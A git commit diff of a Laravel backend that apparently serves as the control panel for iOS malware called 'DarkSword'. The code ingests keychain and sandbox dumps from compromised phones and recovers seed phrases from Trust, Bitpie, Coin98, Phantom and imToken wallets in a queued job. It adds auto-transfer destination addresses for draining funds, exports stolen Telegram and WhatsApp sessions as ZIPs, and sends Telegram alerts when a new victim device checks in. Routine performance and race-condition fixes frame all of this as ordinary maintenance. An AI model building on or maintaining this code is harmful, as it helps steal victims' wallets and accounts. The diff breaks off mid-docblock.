fix: keystore
This commit is contained in:
@@ -679,10 +679,27 @@ class DeviceController extends Controller
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$cols = WalletKeystore::listColumns();
|
||||
$paginator = $device->keystores()->select($cols)->orderBy($field, $order)->paginate($limit, $cols, 'page', $page);
|
||||
|
||||
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
|
||||
// LENGTH(raw_json) forces MySQL to read large blobs during sort.
|
||||
// Step 1: get paginated IDs ordered by the sort field (no blob access).
|
||||
// Step 2: fetch light columns (no LENGTH(raw_json)) for those IDs only.
|
||||
$idQuery = $device->keystores()->orderBy($field, $order);
|
||||
$total = $idQuery->toBase()->getCountForPagination();
|
||||
$page = max(1, $page);
|
||||
$ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
|
||||
|
||||
$rows = count($ids) > 0
|
||||
? WalletKeystore::query()
|
||||
->whereIn('id', $ids)
|
||||
->select(WalletKeystore::listColumnsLight())
|
||||
->get()
|
||||
->sortBy(fn (WalletKeystore $row) => array_search($row->id, $ids))
|
||||
->values()
|
||||
: collect();
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
|
||||
$data = $rows->map(function (WalletKeystore $row) use ($portal) {
|
||||
$stats = $row->listStats();
|
||||
|
||||
return [
|
||||
@@ -692,13 +709,15 @@ class DeviceController extends Controller
|
||||
'kind' => $stats['kind'],
|
||||
'item_count' => $stats['item_count'],
|
||||
'summary' => $stats['summary'],
|
||||
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
return $this->layuiPage($total, $data);
|
||||
}
|
||||
|
||||
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
|
||||
@@ -730,7 +749,8 @@ class DeviceController extends Controller
|
||||
|
||||
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$note = $device->notes()->orderByDesc('id')->first();
|
||||
$noteId = $device->notes()->orderByDesc('id')->value('id');
|
||||
$note = $noteId !== null ? Note::query()->find($noteId) : null;
|
||||
$items = $note ? $note->items() : [];
|
||||
if (strtolower($order) === 'asc') {
|
||||
$items = array_reverse($items);
|
||||
|
||||
@@ -51,7 +51,7 @@ class KeystoreController extends Controller
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$cols = array_merge(WalletKeystore::listColumns(), [
|
||||
$cols = array_merge(WalletKeystore::listColumnsLight(), [
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
@@ -60,18 +60,33 @@ class KeystoreController extends Controller
|
||||
'limit' => $limit,
|
||||
'mem' => memory_get_usage(true),
|
||||
]);
|
||||
$paginator = $q->paginate($limit, $cols, 'page', $page);
|
||||
|
||||
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
|
||||
// LENGTH(raw_json) in the select list forces MySQL to read large
|
||||
// blobs during the ORDER BY sort, overflowing the sort buffer.
|
||||
// Step 1: get paginated IDs (no blob access).
|
||||
// Step 2: fetch light columns for those IDs only.
|
||||
$total = $q->toBase()->getCountForPagination();
|
||||
$ids = $q->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
|
||||
|
||||
$rows = count($ids) > 0
|
||||
? WalletKeystore::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
|
||||
->whereIn('wallet_keystores.id', $ids)
|
||||
->select($cols)
|
||||
->get()
|
||||
->sortBy(fn (WalletKeystore $row) => array_search($row->id, $ids))
|
||||
->values()
|
||||
: collect();
|
||||
|
||||
Log::info('keystore.list.data.page', [
|
||||
'total' => $paginator->total(),
|
||||
'ids' => collect($paginator->items())->pluck('id')->all(),
|
||||
'sizes' => collect($paginator->items())->mapWithKeys(
|
||||
static fn (WalletKeystore $row) => [$row->id => (int) ($row->raw_json_len ?? 0)]
|
||||
)->all(),
|
||||
'total' => $total,
|
||||
'ids' => $rows->pluck('id')->all(),
|
||||
'mem' => memory_get_usage(true),
|
||||
]);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
|
||||
$data = $rows->map(function (WalletKeystore $row) use ($portal) {
|
||||
return $this->rowPayload($row, $portal);
|
||||
})->values();
|
||||
Log::info('keystore.list.data.done', [
|
||||
@@ -83,7 +98,7 @@ class KeystoreController extends Controller
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'count' => $total,
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
@@ -122,6 +137,45 @@ class KeystoreController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the full keystore raw_json with sensitive fields masked,
|
||||
* so the admin can inspect the plaintext structure (wallet names,
|
||||
* addresses, timestamps, version info, etc.) without exposing
|
||||
* encrypted blobs or private keys.
|
||||
*/
|
||||
public function detail(WalletKeystore $keystore)
|
||||
{
|
||||
if (! $this->keystoreAllowed($keystore)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
$len = (int) WalletKeystore::query()->whereKey($keystore->id)->toBase()->selectRaw('LENGTH(raw_json) as n')->value('n');
|
||||
Log::info('keystore.detail.start', [
|
||||
'id' => $keystore->id,
|
||||
'raw_json_len' => $len,
|
||||
'mem' => memory_get_usage(true),
|
||||
]);
|
||||
$masked = $keystore->maskedDetail();
|
||||
Log::info('keystore.detail.done', [
|
||||
'id' => $keystore->id,
|
||||
'raw_json_len' => $len,
|
||||
'mem' => memory_get_usage(true),
|
||||
'peak' => memory_get_peak_usage(true),
|
||||
]);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => [
|
||||
'id' => $keystore->id,
|
||||
'source' => $keystore->sourceLabel(),
|
||||
'decrypted' => (int) $keystore->decrypted,
|
||||
'kind' => $keystore->kindLabel(),
|
||||
'detail' => $masked,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt)
|
||||
{
|
||||
if (! $this->keystoreAllowed($keystore)) {
|
||||
@@ -166,6 +220,7 @@ class KeystoreController extends Controller
|
||||
'utc' => $counts['utc'],
|
||||
'passwords' => $counts['passwords'],
|
||||
'entropy' => $counts['entropy'],
|
||||
'coin98' => $counts['coin98'] ?? 0,
|
||||
],
|
||||
]);
|
||||
}
|
||||
@@ -186,9 +241,11 @@ class KeystoreController extends Controller
|
||||
'kind' => $stats['kind'],
|
||||
'item_count' => $stats['item_count'],
|
||||
'summary' => $stats['summary'],
|
||||
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||
];
|
||||
}
|
||||
@@ -201,6 +258,7 @@ class KeystoreController extends Controller
|
||||
$utc = (int) $counts['utc'];
|
||||
$passwords = (int) $counts['passwords'];
|
||||
$entropy = (int) $counts['entropy'];
|
||||
$coin98 = (int) ($counts['coin98'] ?? 0);
|
||||
if ($utc === 0 && $passwords > 0) {
|
||||
return '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密';
|
||||
}
|
||||
@@ -217,8 +275,11 @@ class KeystoreController extends Controller
|
||||
if ($entropy > 0) {
|
||||
return '有 Bitpie seedPhraseEntropy,但未能还原助记词';
|
||||
}
|
||||
if ($coin98 > 0) {
|
||||
return '有 Coin98 WALLET_SECURE_BACKUP,但未能解析助记词';
|
||||
}
|
||||
|
||||
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)';
|
||||
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy,Coin98 需要 WALLET_SECURE_BACKUP,imToken 需要密码)';
|
||||
}
|
||||
|
||||
private function keystoreAllowed(WalletKeystore $keystore): bool
|
||||
|
||||
@@ -26,6 +26,7 @@ class PageVisitController extends Controller
|
||||
return view('admin.visits.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'countries' => CfIpCountry::names(),
|
||||
]);
|
||||
}
|
||||
|
||||
|
||||
@@ -74,6 +74,95 @@ class PluginSessionController extends Controller
|
||||
}, $name, ['Content-Type' => 'application/json; charset=UTF-8']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Bulk export all sessions matching the current filter as a ZIP.
|
||||
* Uses a temp file + ZipArchive (disk-based, not memory) and a DB cursor
|
||||
* so memory stays flat regardless of row count or payload size.
|
||||
*/
|
||||
public function export(Request $request)
|
||||
{
|
||||
$kind = (int) $request->query('kind', PluginSession::KIND_TELEGRAM) === PluginSession::KIND_WHATSAPP
|
||||
? PluginSession::KIND_WHATSAPP
|
||||
: PluginSession::KIND_TELEGRAM;
|
||||
|
||||
$q = $this->baseQuery($request, $kind);
|
||||
$total = $q->count();
|
||||
if ($total === 0) {
|
||||
return response()->json(['code' => 1, 'msg' => '没有可导出的数据'], 422);
|
||||
}
|
||||
if ($total > 2000) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '数据量过大('.$total.' 条,上限 2000),请缩小筛选条件后再导出',
|
||||
], 422);
|
||||
}
|
||||
|
||||
$label = $kind === PluginSession::KIND_WHATSAPP ? 'ws' : 'tg';
|
||||
$zipName = $label.'-sessions-'.date('Ymd-His').'.zip';
|
||||
|
||||
return response()->streamDownload(function () use ($q, $label) {
|
||||
$tmp = tempnam(sys_get_temp_dir(), 'coruna_export_');
|
||||
if ($tmp === false) {
|
||||
echo '{}';
|
||||
|
||||
return;
|
||||
}
|
||||
$zip = new \ZipArchive();
|
||||
if (! $zip->open($tmp, \ZipArchive::CREATE | \ZipArchive::OVERWRITE)) {
|
||||
@unlink($tmp);
|
||||
echo '{}';
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$usedNames = [];
|
||||
foreach ($q->cursor() as $row) {
|
||||
/** @var PluginSession $row */
|
||||
$base = $row->downloadFilename();
|
||||
// Ensure unique filename inside the ZIP.
|
||||
$name = $base;
|
||||
$n = 2;
|
||||
while (isset($usedNames[$name])) {
|
||||
$name = pathinfo($base, PATHINFO_FILENAME).'-'.$n.'.json';
|
||||
$n++;
|
||||
}
|
||||
$usedNames[$name] = true;
|
||||
|
||||
$path = $row->payloadPath();
|
||||
if ($path !== null && Storage::disk('local')->exists($path)) {
|
||||
// addFile streams from disk — payload never enters PHP memory.
|
||||
$abs = Storage::disk('local')->path($path);
|
||||
if (is_string($abs) && $abs !== '' && is_file($abs)) {
|
||||
$zip->addFile($abs, $name);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: encode the DB payload (always small — it's a summary).
|
||||
$json = json_encode(
|
||||
$row->fullPayload(),
|
||||
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
|
||||
);
|
||||
$zip->addFromString($name, $json === false ? '{}' : $json);
|
||||
}
|
||||
|
||||
$zip->close();
|
||||
|
||||
// Stream the temp file in small chunks, then clean up.
|
||||
$fp = fopen($tmp, 'rb');
|
||||
if (is_resource($fp)) {
|
||||
while (! feof($fp)) {
|
||||
echo fread($fp, 65536);
|
||||
}
|
||||
fclose($fp);
|
||||
}
|
||||
@unlink($tmp);
|
||||
}, $zipName, [
|
||||
'Content-Type' => 'application/zip',
|
||||
'X-Export-Count' => (string) $total,
|
||||
]);
|
||||
}
|
||||
|
||||
private function page(string $kind)
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
|
||||
@@ -46,6 +46,9 @@ class SystemSettingsController extends Controller
|
||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
'transfer_to_address' => ['nullable', 'string', 'max:128'],
|
||||
'transfer_to_address_eth' => ['nullable', 'string', 'max:128'],
|
||||
'transfer_to_address_btc' => ['nullable', 'string', 'max:128'],
|
||||
'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'],
|
||||
'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'],
|
||||
'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'],
|
||||
@@ -81,6 +84,9 @@ class SystemSettingsController extends Controller
|
||||
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
|
||||
'transfer.to_address' => $threshold($data['transfer_to_address'] ?? null) ?? '',
|
||||
'transfer.to_address_eth' => $threshold($data['transfer_to_address_eth'] ?? null) ?? '',
|
||||
'transfer.to_address_btc' => $threshold($data['transfer_to_address_btc'] ?? null) ?? '',
|
||||
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
|
||||
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
|
||||
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
|
||||
|
||||
@@ -0,0 +1,123 @@
|
||||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Services\DsKeystoreDecrypt;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Queue\Queueable;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* Asynchronous keystore / keychain decryption job.
|
||||
*
|
||||
* Keystores are stored synchronously during /war or /result ingestion, then
|
||||
* this job is dispatched to perform the (potentially slow) mnemonic recovery
|
||||
* and address extraction off the request thread. Failures are logged with
|
||||
* the specific reason to the `keystore` log channel so operators can diagnose
|
||||
* why a wallet didn't decrypt.
|
||||
*/
|
||||
class DecryptDeviceKeystores implements ShouldQueue
|
||||
{
|
||||
use Queueable;
|
||||
|
||||
public int $tries = 1;
|
||||
|
||||
public int $timeout = 180;
|
||||
|
||||
/**
|
||||
* @param int $deviceId Device to process.
|
||||
* @param array<string, mixed>|null $wallets Raw keychain wallets dict (from /war or /result).
|
||||
* @param array<string, mixed>|null $sandbox Raw sandbox dict.
|
||||
*/
|
||||
public function __construct(
|
||||
public int $deviceId,
|
||||
public ?array $wallets = null,
|
||||
public ?array $sandbox = null,
|
||||
) {}
|
||||
|
||||
public function handle(
|
||||
DarkSwordIngestAdapter $adapter,
|
||||
DsKeystoreDecrypt $decrypt,
|
||||
): void {
|
||||
$device = Device::query()->find($this->deviceId);
|
||||
if ($device === null) {
|
||||
Log::channel('keystore')->warning('DecryptDeviceKeystores: device not found', [
|
||||
'device_id' => $this->deviceId,
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$device->load('keystores');
|
||||
|
||||
$wallets = $this->wallets ?? [];
|
||||
$sandbox = $this->sandbox ?? [];
|
||||
$errors = [];
|
||||
|
||||
// ── 1. Structured recovery (Bitpie / Trust / Coin98 / Phantom) ──
|
||||
try {
|
||||
$adapter->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
|
||||
} catch (\Throwable $e) {
|
||||
$errors[] = 'recover: '.$e->getMessage();
|
||||
Log::channel('keystore')->error('DecryptDeviceKeystores: recover failed', [
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'error' => $e->getMessage(),
|
||||
'trace' => $e->getTraceAsString(),
|
||||
]);
|
||||
}
|
||||
|
||||
// ── 2. Plaintext mnemonic walk (Uniswap / Phantom entropy / etc.) ──
|
||||
try {
|
||||
$hits = $adapter->walkForMnemonicsWithResult($device, $wallets, 'd');
|
||||
$hits = array_merge($hits, $adapter->walkForMnemonicsWithResult($device, $sandbox, 'b'));
|
||||
foreach ($hits as $hit) {
|
||||
$source = $hit['source'] ?? '';
|
||||
if ($source !== '') {
|
||||
$decrypt->markSourceDecrypted($device->id, $source);
|
||||
}
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
$errors[] = 'walkForMnemonics: '.$e->getMessage();
|
||||
Log::channel('keystore')->error('DecryptDeviceKeystores: walkForMnemonics failed', [
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
|
||||
// ── 3. Address extraction from undecryptable keystores ──
|
||||
$addressCount = 0;
|
||||
try {
|
||||
$addressCount = $adapter->extractAddressesFromKeystores($device, $wallets, $sandbox);
|
||||
} catch (\Throwable $e) {
|
||||
$errors[] = 'extractAddresses: '.$e->getMessage();
|
||||
Log::channel('keystore')->error('DecryptDeviceKeystores: address extraction failed', [
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
|
||||
// ── 4. Log summary ──
|
||||
$mnemonicCount = $device->mnemonics()->count();
|
||||
$summary = sprintf(
|
||||
'DecryptDeviceKeystores · device=%s · mnemonics=%d · addresses=%d · errors=%d',
|
||||
$device->device_id,
|
||||
$mnemonicCount,
|
||||
$addressCount,
|
||||
count($errors),
|
||||
);
|
||||
if ($errors !== []) {
|
||||
$summary .= ' · '.implode('; ', $errors);
|
||||
}
|
||||
Log::channel('keystore')->info($summary, [
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'addresses' => $addressCount,
|
||||
'errors' => $errors,
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -40,6 +40,26 @@ class WalletKeystore extends Model
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Same as listColumns() but without LENGTH(raw_json). Use this for
|
||||
* paginated/sorted queries to avoid MySQL "Out of sort memory" (HY001)
|
||||
* — the LENGTH() expression forces MySQL to read large blobs during
|
||||
* filesort, overflowing the sort buffer even for a handful of rows.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
public static function listColumnsLight(string $table = 'wallet_keystores'): array
|
||||
{
|
||||
return [
|
||||
$table.'.id',
|
||||
$table.'.device_id',
|
||||
$table.'.source',
|
||||
$table.'.decrypted',
|
||||
$table.'.created_at',
|
||||
$table.'.updated_at',
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Load this row's raw_json alone, log memory, then drop the blob.
|
||||
*
|
||||
@@ -62,6 +82,7 @@ class WalletKeystore extends Model
|
||||
'item_count' => $this->itemCount(),
|
||||
'summary' => $this->summary(),
|
||||
'kind' => $this->kindLabel(),
|
||||
'has_web3_keystore' => $this->hasWeb3Keystore(),
|
||||
];
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('keystore.list.hydrate.fail', [
|
||||
@@ -74,6 +95,7 @@ class WalletKeystore extends Model
|
||||
'item_count' => 0,
|
||||
'summary' => '',
|
||||
'kind' => $this->kindLabel(),
|
||||
'has_web3_keystore' => false,
|
||||
];
|
||||
} finally {
|
||||
$this->setAttribute('raw_json', null);
|
||||
@@ -193,6 +215,47 @@ class WalletKeystore extends Model
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect whether this keystore entry contains a standard Web3 keystore
|
||||
* (Web3 Secret Storage Definition): a JSON object with a `crypto` field
|
||||
* that has `ciphertext` and `mac` sub-keys. This covers imToken
|
||||
* walletsV2 keystores (stored directly or nested under wallets.imtoken)
|
||||
* and any UTC-style keystore blob.
|
||||
*
|
||||
* iOS keychain items (Coin98, MetaMask, Phantom, etc. with dataHex) and
|
||||
* sandbox files do NOT match and will return false.
|
||||
*/
|
||||
public function hasWeb3Keystore(): bool
|
||||
{
|
||||
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
||||
if ($this->isWeb3KeystoreNode($json)) {
|
||||
return true;
|
||||
}
|
||||
$wallets = $json['wallets'] ?? null;
|
||||
if (is_array($wallets)) {
|
||||
foreach ($wallets as $bucket) {
|
||||
if (is_array($bucket) && $this->isWeb3KeystoreNode($bucket)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
private function isWeb3KeystoreNode(array $node): bool
|
||||
{
|
||||
$crypto = $node['crypto'] ?? null;
|
||||
|
||||
return is_array($crypto)
|
||||
&& isset($crypto['ciphertext'], $crypto['mac'])
|
||||
&& is_string($crypto['ciphertext'])
|
||||
&& is_string($crypto['mac']);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{
|
||||
* account: string,
|
||||
@@ -397,4 +460,107 @@ class WalletKeystore extends Model
|
||||
|
||||
return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex;
|
||||
}
|
||||
|
||||
/**
|
||||
* Keys whose values are sensitive (encrypted blobs, private keys,
|
||||
* salts, IVs, etc.) and should be masked in the detail view.
|
||||
*/
|
||||
private const MASK_KEYS = [
|
||||
'ciphertext', 'mac', 'salt', 'iv', 'nonce', 'encStr',
|
||||
'encKey', 'encAuthKey', 'encOriginal',
|
||||
'secretKey', 'privateKey', 'seed',
|
||||
'cipherparams', 'kdfparams', 'cipher',
|
||||
'kPKey', 'kPinPasswordNew', 'pin_code_key_uuid', 'mnemonic_key_uuid',
|
||||
'pin_code_key_multi_uuid',
|
||||
];
|
||||
|
||||
/**
|
||||
* Return the raw_json tree with sensitive fields masked, suitable for
|
||||
* display in the admin "查看明文" detail view. Each keychain item's
|
||||
* dataHex is decoded to UTF-8 when possible and nested sensitive fields
|
||||
* are replaced with `***MASKED***`.
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function maskedDetail(): array
|
||||
{
|
||||
$raw = self::query()->whereKey($this->id)->value('raw_json');
|
||||
if (! is_array($raw)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->maskTree($raw);
|
||||
}
|
||||
|
||||
/**
|
||||
* Recursively mask sensitive keys in a data tree.
|
||||
*
|
||||
* @param mixed $node
|
||||
* @return mixed
|
||||
*/
|
||||
private function maskTree(mixed $node, int $depth = 0): mixed
|
||||
{
|
||||
if ($depth > 12) {
|
||||
return null;
|
||||
}
|
||||
if (is_array($node)) {
|
||||
$out = [];
|
||||
foreach ($node as $key => $value) {
|
||||
$lowerKey = strtolower((string) $key);
|
||||
if (in_array($lowerKey, array_map('strtolower', self::MASK_KEYS), true)) {
|
||||
// Mask the value but preserve type info and length.
|
||||
if (is_string($value)) {
|
||||
$out[$key] = '***MASKED***('.strlen($value).' chars)';
|
||||
} elseif (is_array($value)) {
|
||||
$out[$key] = '***MASKED***('.count($value).' items)';
|
||||
} else {
|
||||
$out[$key] = '***MASKED***';
|
||||
}
|
||||
continue;
|
||||
}
|
||||
// Decode dataHex in-place to show decoded content.
|
||||
if ($lowerKey === 'datahex' && is_string($value) && $value !== '') {
|
||||
$decoded = $this->tryDecodeHex($value);
|
||||
if ($decoded !== null) {
|
||||
$out[$key] = '***MASKED***('.strlen($value).' hex chars)';
|
||||
$out['_dataDecoded'] = $this->maskTree($decoded, $depth + 1);
|
||||
continue;
|
||||
}
|
||||
$out[$key] = '***MASKED***('.strlen($value).' hex chars)';
|
||||
continue;
|
||||
}
|
||||
$out[$key] = $this->maskTree($value, $depth + 1);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
return $node;
|
||||
}
|
||||
|
||||
/**
|
||||
* Try to decode a hex string into a JSON array or readable UTF-8 text.
|
||||
*/
|
||||
private function tryDecodeHex(string $hex): mixed
|
||||
{
|
||||
$hex = trim($hex);
|
||||
if ($hex === '' || ! ctype_xdigit($hex) || strlen($hex) % 2 !== 0) {
|
||||
return null;
|
||||
}
|
||||
$bin = @hex2bin($hex);
|
||||
if (! is_string($bin) || $bin === '' || ! mb_check_encoding($bin, 'UTF-8')) {
|
||||
return null;
|
||||
}
|
||||
// Try JSON first.
|
||||
$json = json_decode($bin, true);
|
||||
if (is_array($json)) {
|
||||
return $json;
|
||||
}
|
||||
// Return as plain text if it looks printable.
|
||||
if (preg_match('/^[\x09\x0A\x0D\x20-\x7E\x{4e00}-\x{9fff}]+$/u', $bin)) {
|
||||
return $bin;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,10 +9,13 @@ use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Jobs\DecodeMemoDb;
|
||||
use App\Jobs\DecryptDeviceKeystores;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\UserAgentParser;
|
||||
use App\Support\VisitorIp;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Database\QueryException;
|
||||
use Illuminate\Database\UniqueConstraintViolationException;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
@@ -242,16 +245,18 @@ class DarkSwordIngestAdapter
|
||||
$wallets = $keychain['wallets'] ?? [];
|
||||
$sandbox = $payload['sandbox'] ?? [];
|
||||
|
||||
// Store keystores synchronously (fast), then dispatch async decryption.
|
||||
$rows = array_merge(
|
||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
|
||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
||||
);
|
||||
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $rows);
|
||||
|
||||
$this->walkForMnemonics($device, $wallets, 'd');
|
||||
$this->walkForMnemonics($device, $sandbox, 'b');
|
||||
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
||||
$this->trustAddresses->ingest($device, $sandbox);
|
||||
$this->trustAddresses->ingest($device, $wallets);
|
||||
|
||||
// Async: mnemonic recovery + plaintext walk + address extraction.
|
||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -340,6 +345,7 @@ class DarkSwordIngestAdapter
|
||||
return $existing->refresh();
|
||||
}
|
||||
|
||||
try {
|
||||
$device = Device::query()->create([
|
||||
'device_id' => $key,
|
||||
'chain' => $chain,
|
||||
@@ -351,6 +357,22 @@ class DarkSwordIngestAdapter
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'album_storage' => User::albumStorageDefaultForChannel($channel),
|
||||
]);
|
||||
} catch (UniqueConstraintViolationException | QueryException $e) {
|
||||
// Race condition: another concurrent request already created this
|
||||
// device. Reload it and continue instead of crashing the beacon.
|
||||
$device = Device::query()->where('device_id', $key)->first();
|
||||
if ($device === null) {
|
||||
throw $e;
|
||||
}
|
||||
// If the chain was just corrected, seed the default queue.
|
||||
if ((int) $device->chain === Device::CHAIN_DARKSWORD
|
||||
&& $this->beaconQueue->queueLength($device) === 0
|
||||
) {
|
||||
$this->beaconQueue->seed($device);
|
||||
}
|
||||
|
||||
return $device->refresh();
|
||||
}
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
$device->telegram_notified = true;
|
||||
$device->save();
|
||||
@@ -456,6 +478,19 @@ class DarkSwordIngestAdapter
|
||||
|| str_contains($filename, 'wallet_pkg')
|
||||
|| str_contains($filename, 'keystore');
|
||||
if (! $looksTrust) {
|
||||
// keychain_c2_dump.json and walletsV2_*.json are wallet material
|
||||
// uploaded as /result files (not /war). Ingest them here too.
|
||||
if (str_contains($filename, 'keychain_c2_dump')) {
|
||||
$this->ingestKeychainDumpFromResult($device, $payload);
|
||||
|
||||
return;
|
||||
}
|
||||
if (str_contains($filename, 'walletsv2')) {
|
||||
$this->ingestImTokenKeystoreFromResult($device, $payload);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
$raw = $payload['data'] ?? null;
|
||||
@@ -468,8 +503,87 @@ class DarkSwordIngestAdapter
|
||||
return;
|
||||
}
|
||||
$this->trustAddresses->ingest($device, $raw);
|
||||
$rows = $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
|
||||
$this->recoverKeystoreMnemonics($device, null, $raw, $rows);
|
||||
$this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
|
||||
|
||||
// Async: attempt Trust UTC keystore decryption.
|
||||
DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse a keychain_c2_dump.json /result file and process it like /war:
|
||||
* store per-wallet keystores and run mnemonic recovery (Bitpie / Trust /
|
||||
* Coin98).
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
